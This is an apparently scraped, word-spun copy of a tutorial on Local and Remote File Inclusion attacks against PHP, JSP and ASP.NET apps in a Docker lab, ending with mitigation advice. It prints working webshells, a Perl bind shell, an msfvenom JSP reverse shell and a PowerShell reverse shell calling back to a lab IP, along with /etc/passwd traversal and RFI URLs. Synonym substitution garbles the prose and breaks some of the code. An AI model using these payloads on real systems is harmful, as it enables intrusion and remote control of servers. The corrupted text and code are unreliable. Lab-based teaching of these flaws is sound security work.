Skip to content Skip to sidebar Skip to footer

How to Upload a Meterpreter Shell Lfi

Introduction

In this weblog postal service I want to talk about Local File Inclusion / Remote File Inclusion. These two vulnerabilities are closely related, and so I describe them here together. Spider web applications that are affected by such issues can oft be owned relatively quickly by malicious attackers.

In the following I will draw,

  • how these vulnerabilities are constructed
  • how to set up a test environs to recreate them
  • which attack scenarios in that location are and
  • how to avoid or discover these issues

I try to accompany everything with exercises so that you tin understand it easier.

Everything coded hither including all docker stuff tin be plant at my github repo.

What is LFI / RFI in detail?

Then I'm a hacker. How do I get into your application?

PHP Check accessable

This is essentially what LFI/RFI takes advantage of when there is a corresponding vulnerability. And the impact is virtually oft a very critical one.

Here'south a lilliputian visualization to get a amend grip:

Client Server Local File Inclusion 1. Request ii. Response

Created with yEd. Icon credits to: VRT CC-past-sa-v3

The individual steps in detail:

  • First a client sends a request to the server, e.m. someone types in the URL in the browser and presses Enter.
  • The server then sends back a response.
  • The request URL consists of several parts, the protocol :// the domain of the server / and query parameters.
  • The response can exist some html lawmaking.
  • The query parameters of the URL are structured by fundamental-value pairs.
  • You could try to alter a value of a key …
  • … and see what happens with the response. Does the content alter?

At present the value of the request parameter is a file from the server.

  • Local File Inclusion is it if you could change that file to another file that then will be loaded not intended by the application.

  • Remote File Inclusion is it if you could change the value to an url which and so would be loaded every bit file into the server.

Exercises

If you lot see the following url: https://secf00tprint.github.io?folio=file.html.

  • Where could the awarding be vulnerable?
  • What is the name of this attack?
  • How can you try to verify it?

Answer

It seems that the application uses a key-value-pair in the url: folio=file.html.

This cardinal-value-pair consists a file as value.

This indicates a local-file-inclusion vulnerability. Search some other html file of the awarding and try to insert it at the value position.

Why is it so unsafe?

Possible means after LFI/RFI has been found are shown in the adjacent picture show:

attack vectors

There are 3 levels of attack severity:

  • 1st level: Read access LFI
  • 2nd level: Write access LFI
  • 3rd level: RFI

Every of the paths shown in the effigy likewise as the different severity types will be demonstrated in a executable demo futurity so that yous can direct reproduce the vulnerabilities to learn from information technology.

Read admission LFI

If LFI is possible, the attacker can read files from the server. This affects files within the current directory or fifty-fifty across directories.

Write access LFI

Does the attacker accept

  1. the power to upload files or manipulate files on the server and
  2. practise these files are located in an accessible LFI directory

then he or she can execute arbitrary lawmaking on the server.

RFI

If RFI is possible it's easiest to attack. The assaulter has just to include the malicious code into the url and the payload will be executed onto the victim machine.

I volition now demonstrate different attacks in running server examples:

Setting up a test surround

To reproduce the two security issues local on your system you can utilise the following github project: https://github.com/secf00tprint/payloadtester_lfi_rfi

To run it you lot demand

  • Docker
  • Git and

First you lot have to clone the project:

            git clone https://github.com/secf00tprint/payloadtester_lfi_rfi                      

At that place are two networks available. One is a Linux network, the other is a Windows one.

Linux network

The understand all the Linux network you demand additionally a Kali VM for creating payloads using Metasploit.

Therefore it is skillful if yous have installed and downloaded:

  • VirtualBox
  • Kali VM for VirtualBox

The Linux server infrastructure consists of:

LFI / RFI Linux Infrastructure

Created with yEd. Icon credits to: VRT CC-by-sa-v3, Kameleon Free Pack

Starting the network

Y'all tin start the Linux network

            start_linux_network.sh                      

and stop it with Ctrl-C (await some seconds till everything is gracefully shutdown after that).

At the kickoff of the logs you tin see which IPs are used inside your local network and which IPs inside the docker network:

If nosotros look at the beginning of our docker logs we can see:

            Attaching to attacker.lfi.jsp.tld, attacker.lfi.php.tld, victim.lfi.jsp.tld, victim.lfi.php.tld assailant.lfi.jsp.tld     | starting server on: external: 127.0.0.1:8882 - internal: 172.xviii.0.three:8080 assailant.lfi.php.tld     | starting server on: external: 127.0.0.1:8884 - internal: 172.18.0.five:80 victim.lfi.jsp.tld       | starting server on: external: 127.0.0.1:8881 - internal: 172.eighteen.0.ii:8080 victim.lfi.php.tld       | starting server on: external: 127.0.0.1:8883 - internal: 172.eighteen.0.4:eighty                      

So for example the victim php server can exist reached on your local computer at http://127.0.0.one:8883 and inside the Linux docker network at http://172.xviii.0.4:eighty or using proper name resolution at http://victim.lfi.php.tld:80.

I will now testify some examples of LFI / RFI in two programming languages PHP and JSP.

First I'll start with PHP:

PHP

If you lot run the Linux network y'all can go to

http://127.0.0.1:8883/lfi.php

Here we have 2 vulnerable query parameters: language and page.

I will handle both parameters, in the next section first with linguistic communication:

Language Parameter

LFI

File Upload

The awarding allows the upload of files. Furthermore if y'all upload a file you lot can see where the file is stored:

On http://127.0.0.1:8883/lfi.php you lot can cull between different languages. Everytime you switch you can meet that the language is gear up in the url:

  • http://127.0.0.1:8883/lfi.php?language=english language
  • http://127.0.0.1:8883/lfi.php?linguistic communication=melay

It seem's that the PHP code is just setting an .php file postfix at the end.

Sanity check lfi

Now, why no trying to upload a file and become information technology with the accented path using the url?

There create the following file

            <?php   phpinfo();                      

and upload it. After that, call http://127.0.0.one:8883/lfi.php?language=/var/www/html/uploads/check

Bingo! Y'all have currenty insight into the php configuration of the victim server!

PHP Check accessable

Getting a remote trounce

Now that we know that we can upload a file, access and execute it, permit's try bringing real malicious lawmaking to the system.

The idea would be to become direct access to the server by executing a PHP file.

Therefore we need the following lawmaking:

            cat shell.php                      
            <?php system("perl -eastward \"use Socket;socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp'));setsockopt(SOCKET, SOL_SOCKET,SO_REUSEADDR, ane);bind(SOCKET, pack_sockaddr_in(4444,inet_aton('0.0.0.0')));listen(SOCKET, SOMAXCONN);for (;accept(NEW_SOCKET,SOCKET);close NEW_SOCKET){open up(STDIN, '>&NEW_SOCKET');open(STDOUT, '>&NEW_SOCKET');open up(STDERR, '>&NEW_SOCKET');organization('/bin/sh');shut(STDIN);close(STDOUT);shut(STDERR);};\" &"); ?>                      

This creates a Bind Shell - it opens a possible connection where you can connect to equally attacker. The connection is open for everybody (0.0.0.0) and listens on port 4444.

Upload the file on the victim server and execute it by opening it:

http://127.0.0.one:8883/lfi.php?language=/var/world wide web/html/uploads/shell

Yous should at present exist able to connect to the server.

Therefore:

  1. Go the docker id of the aggressor server:
                    docker ps -a              
    Docker Get Docker ID
  2. Open a shell of the attacker server:
                    docker exec -ti <containerid_attackerserver> /bin/fustigate              
    Docker Exec to Bash
  3. Open up a shell from the attacker server to the victim server:
                    nc victim.lfi.php.tld 4444              
    Netcat to bind shell php
  4. Yous have a connectedness straight into the victim server!

Log Injection

If there is no file upload to write your lawmaking to the server, you could try to practise Log Injection.

This can be done the following way:

ii. Server writes to log 1. Send HTTP Request with lawmaking

Created with yEd. Icon credits to: VRT CC-by-sa-v3, Logs Search - Geosm Due east-Commerce 18px, Kameleon Gratuitous Pack

Getting remote lawmaking execution

Try it! Open up a HTTP Connectedness to the victim php server and ship some exploit code to apply subsequently:

            nc -nv 127.0.0.1 8883 <?php echo shell_exec($_GET['cmd']);?>                      

The response:

            HTTP/ane.1 400 Bad Request Date: Wed, 05 Dec 2018 12:13:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 302 Connexion: shut Content-Type: text/html; charset=iso-8859-one  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <championship>400 Bad Asking</title> </head><trunk> <h1>Bad Request</h1> <p>Your browser sent a asking that this server could non sympathise.<br /> </p> <60 minutes> <address>Apache/ii.4.25 (Debian) Server at 172.xviii.0.4 Port 80</address> </trunk></html>                      

It doesn't affair because you're only interested in getting the code into the logs.

Now try to admission the access.log where yous should accept just written into.

In this instance the access.log is named access_combined.log.

Outcome:

http://127.0.0.1:8883/lfi.php?page=../../../var/log/apache2/access_combined.log

opens the log file.

PHP Access Log

The PHP code allows you lot to use the parameter cmd to give a shell command, which is and then executed and displayed via echo.

So let'due south find out which Linux system the server is running on.

http://127.0.0.1:8883/lfi.php?page=../../../var/log/apache2/access_combined.log&cmd=uname -a

PHP Access Log

RFI

PHP Configuration

You can use the check.php http://127.0.0.1:8883/lfi.php?language=/var/www/html/uploads/check lfi to go to the next level:

Search for allow_url on the site.

One of the showtime findings should exist:

PHP allow url parameters

These 2 parameters, allow_url_fopen and allow_url_include, are fix to Off by default.

If they are enabled they Remote File Inclusion is possible if the site has RFI security issues, otherwise RFI wouldn't exist possible:

  • allow_url_fopen to On makes it possible to open files by url in the code.
  • allow_url_include permits the developer to include an external url within his code.
Exploiting RFI

So now you can assail with a Remote File Inclusion:

Try to get to execute check.php, but the file from your aggressor server rather than from the victim server should be loaded past the victim application.

Our assaulter server has the following file: http://127.0.0.1:8884/check.php.

Nosotros will set this as the value for the language central. And, we have to utilise the IP within the docker network for the aggressor server, which can exist picked from the docker logs:

PHP IP attacker server

The outset effort could be:

http://127.0.0.1:8883/lfi.php?linguistic communication=http://aggressor.lfi.php.tld/check.php

But this won't work because the postfix '.php' is appended.

Information technology volition become: http://127.0.0.i:8883/lfi.php?linguistic communication=http://assaulter.lfi.php.tld/check.php.php

There are two solutions:

Either, nosotros rename our php file to check.php.php, then it will work

check php php

or we use a question mark at the terminate of our call: http://127.0.0.1:8883/lfi.php?language=http://aggressor.lfi.php.tld/check.php?

So http://attacker.lfi.php.tld/check.php?.php would be called on the attacker server, which executes check.php and discards the .php part.

And so a possible verify attack could be:

http://127.0.0.1:8883/lfi.php?language=http://172.xviii.0.five/check.php?

or

http://127.0.0.i:8883/lfi.php?linguistic communication=http://attacker.lfi.php.tld/check.php?

which load check.php from the aggressor server, include the code on the victim server and execute it there.

Page Parameter

The second of the both url parameters that is vulnerable is folio.

This time no file ending is automatically appended.

Yous can verify the vulnerability for example using http://127.0.0.one:8883/lfi.php?page=check.php
if you take already uploaded check.php:

PHP Check accessable using page param

/etc/passwd

Since an extension is not appended automatically, we tin can now attempt to go files other than PHP.

And then permit'south effort to integrate /etc/passwd. This is possible both admittedly and relatively.

absolutely:

http://127.0.0.1:8883/lfi.php?page=/etc/passwd

PHP Read /etc/passwd absolutely

relatively:

Here you have to attempt out. Start with ../etc/passwd and add together further ../.

In this application it is three times:

http://127.0.0.1:8883/lfi.php?page=../../../etc/passwd

PHP Read /etc/passwd relatively

Non included in demo code

The following topic is not included in the demo code: Null Byte Injection in PHP.

PHP treats file names similar to C strings with a zilch byte as marking the cease of a string.

This immune the automatic appending of a string to an input to exist bypassed, since the aught byte character indicates the end of the string and the PHP interpreter assumes that now zilch follows and discards the rest of the string.

Example language parameter:

Here the file extension .php is appended to the input.

With the following call yous could open up a file foo.txt in the current folder:

http://127.0.0.i:8883/lfi.php?language=foo.txt%00

The string complete string is foo.txt%00.php. Since %00 indicates the stop of the string merely foo.txt would exist stored from the php interpreter.

Even so, the employ of zero bytes is no longer possible since PHP version 5.3. So this attack isn't possible any more than since then.

Further payloads

msfvenom

There are a lot more payloads that are possible.

To become an idea you can use the payload generator msfvenom.

            msfvenom -l payloads | grep -i php          

PHP payloads msfvenom

msfvenom is office of metasploit which is itself is integrated in the Linux Distribution Kali.

Faulty Code

The whole faulty code described in this section PHP looks like this:

            cat victim_lfi_server_php/src/lfi.php                      
            <!doctype html> <html>     <head>     </head>     <body>     <?php         if ( isset( $_GET['language'] ) ) {         include( $_GET['language'] . '.php' );         }         if ( isset( $_GET['page'] ) ) {         include( $_GET['page']);     }     ?>     <div>         <form method="get">            Prepare language of page: 		   <select name="language"> 			  <selection value="english">English language</option> 			  <option value="melay">French</option> 		   </select> 		   <input type="submit">         </form>     </div>     <br/>     <div>         <form activeness="upload.php" method="mail service" enctype="multipart/form-data">             Select File to upload:             <input type="file" name="fileToUpload" id="fileToUpload">             <input type="submit" value="Upload File" name="submit">         </grade>     </div>     </body> </html>                      

The problem here is the office where include commands are combined with the Go-Parameter.

Every bit a soft developer never allow the user or client control what files could exist loaded.

JSP

Now that I've described how Local File Inclusion can take place in PHP, this department deals with Java - in detail Java Server Pages - short JSP.

The JSP application consists of a

  • File Upload and
  • a Button where you can load the introduction to the application.

You can become to it hither http://127.0.0.1:8881/webapp/.

JSP App View

LFI

Assistance Parameter

If you click on the 'Show'-Button the url volition be http://127.0.0.i:8881/webapp/?assist=introduction. You can run across a key-value-pair: help=introduction.

If yous call http://127.0.0.1:8881/webapp/introduction, y'all will encounter that the included file is as well straight accessible.

JSP Included standard file

Sanity check lfi

Let's upload something to verify that.

  1. Create a file with text e.k. repeat "This is test" > showme JSP Create test file
  2. Upload the file JSP Upload test file
    JSP Upload test file 2
  3. Call it up - http://127.0.0.1:8881/webapp/showme JSP Test File Verify

Getting remote code execution

Permit'due south check if not only text is rendered but likewise code is executed.

For this nosotros accept the following example code:

            <body> 	<h1>Hello <%  String name = request.getParameter("proper name"); if(proper noun != zip && name.length() > 0) { 	out.println(name);	 } else { 	out.println("World");	 }	 %>	 	from a JSP!</h1> </torso>                      

Save it as helloworld.jsp, upload information technology and call information technology with param name http://127.0.0.one:8881/webapp/helloworld.jsp?name=haxxor

The result should exist:

JSP Remote Code Hello World

The side by side step is to get remote code execution on the victim server. Therefore we create some JSP code:

                          <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%   String cmd = request.getParameter("exec");   if (cmd != zippo)   {       Procedure p;       p = Runtime.getRuntime().exec(cmd);       InputStreamReader isr = new InputStreamReader(p.getInputStream());       BufferedReader br = new BufferedReader(isr);       String line = zippo;       while((line = br.readLine()) != cipher){         out.println(line);       }   } %>                      

This is the aforementioned as the Hello-Earth-Example before, nosotros take a param which is given to the code.

The difference is in our Hello-World-Example this param is but delivered and printed out.

Here, the param is executed as shell command and the consequence is rendered into the HTML.

Let's cheque this! Upload the code as runme.jsp:

http://127.0.0.1:8881/webapp/?help=runme.jsp?exec=ls

JSP Final Remote Code Execution

/etc/passwd

With Remote Code Execution at mitt nosotros can also read sensible information. Let's have a look at the /etc/passwd:

http://127.0.0.one:8881/webapp/?assistance=runme.jsp?exec=cat%twenty/etc/passwd

JSP Final Remote Code Execution

Reverse Shell

We will now create a JSP reverse shell code.

For a reverse shell y'all have to set up the IP to which the code has to connect if it is called. This can exist the IP of the JSP attacker server, which yous can see from the docker logs:

JSP Final Remote Code Execution

The following code is generated with msfvenom.

Y'all can use Kali if yous have installed a Kali VM or have the Os at your hands otherwise.

Exist aware, the generated lawmaking can be detected and classified by Anti Virus Systems as malware. So if this is the instance for you and you have the possibility set an exception for

  • the path where you save the code and
  • for the victim_lfi_server_jsp/webapp directory, where the lawmaking volition be uploaded onto the victim server.

Starting time await what payloads msfvenom has for you lot:

            msfvenom -l payloads | grep -i jsp          

JSP msfvenom

So create the reverse shell payload:

            msfvenom -p java/jsp_shell_reverse_tcp lhost=172.xviii.0.three lport=4444          
            <%@folio import="coffee.lang.*"%> <%@folio import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%>  <%  class StreamConnector extends Thread  {    InputStream ib;    OutputStream ti;     StreamConnector( InputStream ib, OutputStream ti )    {      this.ib = ib;      this.ti = ti;    }     public void run()    {      BufferedReader bt  = null;      BufferedWriter irs = null;      attempt      {        bt  = new BufferedReader( new InputStreamReader( this.ib ) );        irs = new BufferedWriter( new OutputStreamWriter( this.ti ) );        char buffer[] = new char[8192];        int length;        while( ( length = bt.read( buffer, 0, buffer.length ) ) > 0 )        {          irs.write( buffer, 0, length );          irs.flush();        }      } catch( Exception e ){}      endeavour      {        if( bt != null )          bt.close();        if( irs != null )          irs.close();      } catch( Exception e ){}    }  }   endeavor  {    String ShellPath; if (System.getProperty("bone.proper name").toLowerCase().indexOf("windows") == -1) {  ShellPath = new String("/bin/sh"); } else {  ShellPath = new Cord("cmd.exe"); }     Socket socket = new Socket( "172.18.0.two", 4444 );    Process procedure = Runtime.getRuntime().exec( ShellPath );    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).offset();    ( new StreamConnector( socket.getInputStream(), procedure.getOutputStream() ) ).start();  } catch( Exception eastward ) {} %>                      

If you upload the code as reverseshell.jsp,

  • become into the jsp attacker server (using its docker id which you go with docker ps -a and practice a docker exec -ti <container_id> /bin/bash)
  • set up a netcat listener on port 4444: nc -nlvp 4444

You can now connect to the victim server calling in the browser

http://127.0.0.1:8881/webapp/?assist=reverseshell.jsp

JSP Reverse Shell

RFI

The JSP application is likewise vulnerable to Remote File Inclusion.

Go into the attacker server webapp folder and create a file called thiscomesfromhaxxor:

            cd attacker_server_jsp/webapp/                      
            echo "Unfortunately, RFI on your server is possible" > thiscomesfromhaxxor                      

Now call in the browser:

http://127.0.0.1:8881/webapp/?assist=http://172.18.0.3:8080/webapp/thiscomesfromhaxxor

Outcome:

JSP RFI

Faulty Code

The JSP code with the security vulnerabilities looks like that:

            cat index.jsp          
            <!doctype html> <head>    <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c" %>    <championship>File Upload Course</championship> </head> <h3>File Upload</h3> Select a file to upload: <br> <br>  <form activity = "UploadFile.jsp" method = "post" enctype = "multipart/form-data">    <input type = "file" name = "file" size = "50" />    <br />    <input type = "submit" value = "Upload File" /> </form>  <br> <br>  <h3>Introduction</h3> <form>    <input type="hidden" name="assistance" value="introduction">    <input type = "submit" value = "Evidence" /> </course>   <c:if examination="${not empty param.help}">    <pre><c:import    url = "<%= request.getParameter(\"assist\")%>"/> </pre> </c:if>                      

The problematic part is the department where c:import is combined with request.getParameter.

Exercises

You want to set on victim.lfi.php.tld: Try to read the apache2 configuration /etc/apache2/apache2.conf abusing the page parameter.

Yous want to set on victim.lfi.jsp.tld: Execute a demark shell there and connect to the server. How tin can you reach that?

Respond

The attack would be: Create bind shell lawmaking. This tin exist done using metasploit:

msfvenom -p java/jsp_shell_bind_tcp

The generated code contains the port: ServerSocket server_socket = new ServerSocket( 4444 ); The server will listen at port 4444.

Save the code as bindshell.jsp. Upload it to http://127.0.0.1:8881/webapp/ and phone call http://127.0.0.1:8881/webapp/?help=bindshell.jsp.

You can now connect to the server: Exercise a docker exec -ti <container_id_attacker_server_jsp> /bin/bash and phone call nc victim.lfi.jsp.tld 4444. JSP Docker Bind Shell

Windows network

In this affiliate I will talk near the Windows network.

The server infrastructure looks like:

LFI / RFI Win Infrastructure

Created with yEd. Icon credits to: VRT CC-past-sa-v3, Kameleon Free Pack

Configuration on a Linux system

If you lot are on a native Windows operating system you lot can skip this affiliate an go to the adjacent chapter.

Otherwise, I'll explain here how you tin can go the Windows Docker network to run on Linux.

To starting time y'all demand:

  • VirtualBox

After y'all have installed VirtualBox you tin use https://github.com/StefanScherer/windows-docker-machine. This is a vagrant environment using VirtualBox to allow you control windows docker from a Linux arrangement.

To install and run information technology, do:

            git clone https://github.com/StefanScherer/packer-windows cd packer-windows packer build --only=virtualbox-iso windows_2016_docker.json vagrant box add windows_2016_docker windows_2016_docker_virtualbox.box cd ..  git clone https://github.com/StefanScherer/windows-docker-machine cd windows-docker-auto mv ../packer-windows/windows_2016_docker_virtualbox.box . vagrant provision                      

To start the vagrant environment execute in the windows-docker-machine folder

            vagrant upward --provider virtualbox 2016                      

, to suspend the environs until the next session execute:

            vagrant append          

If y'all have started it and everything worked fine, you should run into a new docker-machine 2016:

            docker-car ls          

Docker Windows docker-machine ls

Then, to switch between Windows and Linux Docker, enter:

To Windows:

            eval $(docker-motorcar env 2016)          

To Linux:

            eval $(docker-automobile env -unset)          

Gear up a environs variable which remembers the IP of your VirtualBox:

            export DOCKER_VM_IP=$(docker-machine ip 2016)          

Later on that you should be able to start the windows network.

Configuration on a Windows system

On a windows arrangement ready the following environment variable:

            set DOCKER_VM_IP=127.0.0.1          

Starting the network

To start the windows network check that you take a windows docker:

            docker version          

Verify in the respond:

            Os/Arch: windows          

then type in:

            ./start_win_network.sh          

To stop the network with Ctrl-C. Delight notation that it needs some time to gracefully shut downwards.

ASP

At startup you should see at which IP and port you lot can reach the server on your estimator:

ASP Victim IP

ASP Attacker IP

Open the awarding in the browser:

ASP Index

LFI

Examination Parameter

Sanity bank check lfi

Create a file SimpleEchoPayload.cshtml:

            echo "Hello" > SimpleEchoPayload.cshtml                      

and upload it.

In this awarding in that location is a param test which is vulnerable. You accept to give the file the .cshtml extension, otherwise you will get an fault similar the post-obit:

ASP Error No CSHTML

Afterward you lot accept uploaded SimpleEchoPayload.cshtml you can verify the Local File Inclusion:

ASP LFI Sanity Check

Getting remote code execution
Listing directory

Now let's go ane step further and try to execute beat out commands.

For this you lot can apply the following code:

            blazon WinLfiPayload.cshtml          
            @using System.Diagnostics @{      var proc = new Process     {         StartInfo = new System.Diagnostics.ProcessStartInfo         {             FileName = "cmd.exe",             Arguments = "/c dir",             UseShellExecute = faux,             RedirectStandardOutput = true,             CreateNoWindow = true         }     };      proc.Get-go();     string line = "";     while (!proc.StandardOutput.EndOfStream)     {         line = line + proc.StandardOutput.ReadLine() + "<br>";     }     ViewData["Cmdout"] = line; }                      
            @Html.Raw(@ViewData["Cmdout"])                      

If you lot look at the lines with

            FileName = "cmd.exe", Arguments = "/c dir",                      

yous encounter that this CSHTML-File volition execute a Windows Command:

            cmd.exe /c dir                      

Result:

ASP Victim RCE dir

If yous take a Linux Server running dotnet you tin can change this code for case to the Linux equivalent:

            ls                      

And then the lawmaking would await like:

            true cat LinuxLfiPayload.cshtml          
            @using System.Diagnostics @{      var proc = new Process     {         StartInfo = new System.Diagnostics.ProcessStartInfo         {             FileName = "ls",             Arguments = "",             UseShellExecute = false,             RedirectStandardOutput = true,             CreateNoWindow = true         }     };      proc.Showtime();     string line = "";     while (!proc.StandardOutput.EndOfStream)     {         line = line + proc.StandardOutput.ReadLine() + "<br>";     }     ViewData["Cmdout"] = line; }  @Html.Raw(@ViewData["Cmdout"])                      
Powershell version

Now let's endeavour to see if we have powershell on the organization.

We use the command:

            powershell get-host          

Then the lawmaking will be:

            type CheckPowerShell.cshtml                      
            @using Arrangement.Diagnostics @{      var proc = new Process     {         StartInfo = new System.Diagnostics.ProcessStartInfo         {             FileName = "powershell",             Arguments = "get-host",             UseShellExecute = imitation,             RedirectStandardOutput = true,             CreateNoWindow = true         }     };      proc.Showtime();     string line = "";     while (!proc.StandardOutput.EndOfStream)     {         line = line + proc.StandardOutput.ReadLine() + "<br>";     }     ViewData["Cmdout"] = line; }  @Html.Raw(@ViewData["Cmdout"])                      

The output is:

ASP Powershell Check

First-class! This means we can execute powershell commands on the victim server.

Remote code execution

At present we employ Arguments to run a Powershell Control to setup a reverse shell.

First we get into our aggressor machine. Therefore we have to get the docker id using

            docker ps -a          

So we use this id to go into our attacker server:

            docker exec -ti <containerid_attackerserver> powershell          

Hither nosotros check our ip

            ipconfig          

, gear up upward a netcat listener

            nc -nlvp 4444          

and create a file in which nosotros include our attacker ip in the reverse shell code (this lawmaking was used from Week of PowerShell Shells - Annunciation and Twenty-four hour period one)

            RevShell.cshtml          
            @using System.Diagnostics @{       var proc = new Procedure      {          StartInfo = new Arrangement.Diagnostics.ProcessStartInfo          {              FileName = "cmd.exe",              Arguments = @"/c powershell.exe -nop ""$client = New-Object Arrangement.Internet.Sockets.TCPClient('172.20.232.246',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream. Read($bytes, 0, $bytes.Length)) -ne 0){;$information = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' +       (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""",              UseShellExecute = false,              RedirectStandardOutput = truthful,              CreateNoWindow = true          }      };       proc.Outset();      string line = "";      while (!proc.StandardOutput.EndOfStream)      {          line = line + proc.StandardOutput.ReadLine() + "<br>";      }      ViewData["Cmdout"] = line;  }  @Html.Raw(@ViewData["Cmdout"])                      

If nosotros upload this file, and call http://<ip-docker-container>:8080/?examination=RevShell.cshtml we get a contrary shell:

ASP Powershell reverse shell

Faulty lawmaking

The faulty lawmaking in ASP / Razor looks like this:

            Index.cshtml          
            @folio @model IndexModel  @if (HttpContext.Request.Query["test"] != default(Microsoft.AspNetCore.Http.IQueryCollection)) {     @Html.Partial(HttpContext.Request.Query["examination"]) }   <h2>ASP.NET LFI Payload Tester</h2>  <class method="post" enctype="multipart/grade-information">     <input type="file" asp-for="Upload" />     <input type="submit" /> </class>                      
            Alphabetize.cshtml.cs          
            using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.RazorPages;  using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using System.IO;  namespace Examination.Pages {     public class IndexModel : PageModel     {         public void OnGet()         {          }          private IHostingEnvironment _environment;          public IndexModel(IHostingEnvironment surroundings)         {             _environment = environment;         }          [BindProperty]         public IFormFile Upload { become; prepare; }          public async Task OnPostAsync()         {             var file = Path.Combine(_environment.ContentRootPath, &#x22;Pages&#x22;, Upload.FileName);             using (var fileStream = new FileStream(file, FileMode.Create))             {                 look Upload.CopyToAsync(fileStream);             }         }     } }                      

Mitigation

At that place are different methods to find LFI/RFI vulnerabilities.

Yous tin can use Blackness- and White-Box-Testing:

Blackbox-Testing

To find at to the lowest degree the lfi vulnerabilities which allow file path traversal you lot can apply OWASP ZAP

OWASP ZAP 2 OWASP ZAP 1

Whitebox-Testing

Try to find certain strings in your code that contain a) code files are included and b) the user can determine the names of the files himself at the aforementioned time

For admins

Try to harden the server settings from the beginning and only open up them when needed. Keyword here [Secure by Default] (https://en.wikipedia.org/wiki/Secure_by_default).

In PHP for example let allow_url_fopen and allow_url_include prepare to Off in php.ini configuration file.

For developers

Every bit a developer, you should only allow the client to have the files that are intended for it. Never effort to soften that. Do not allow customer control what files to load.

Furthermore, use metrics to select libraries, frameworks and programming languages. And then keep them up-to-date.

Summary

Local file inclusion and in particular remote file inclusion are dangerous security vulnerabilities that may allow an attacker direct access to the system.

In this article I described what LFI/RFI is and how to use information technology.

Finally, I showed you how to detect these gaps in your own projects.

Further Information

A description how to exam can be found at OWASP:

  • https://www.owasp.org/alphabetize.php/Testing_for_Local_File_Inclusion

A good introduction in the realm of PHP:

  • https://github.com/it-security-kassel-nordhessen/meetup/hulk/main/2019_01_16_33rd/web_security_basics/File_Inclusion_Attacks_208_EN.pdf

As well as, for those who sympathise High german:

  • https://github.com/information technology-security-kassel-nordhessen/meetup/blob/master/2019_01_16_33rd/web_security_basics/File_Inclusion_Attacken_DE_2007.pdf

petithiseeston.blogspot.com

Source: https://secf00tprint.github.io/blog/payload-tester/lfirfi/en

Post a Comment for "How to Upload a Meterpreter Shell Lfi"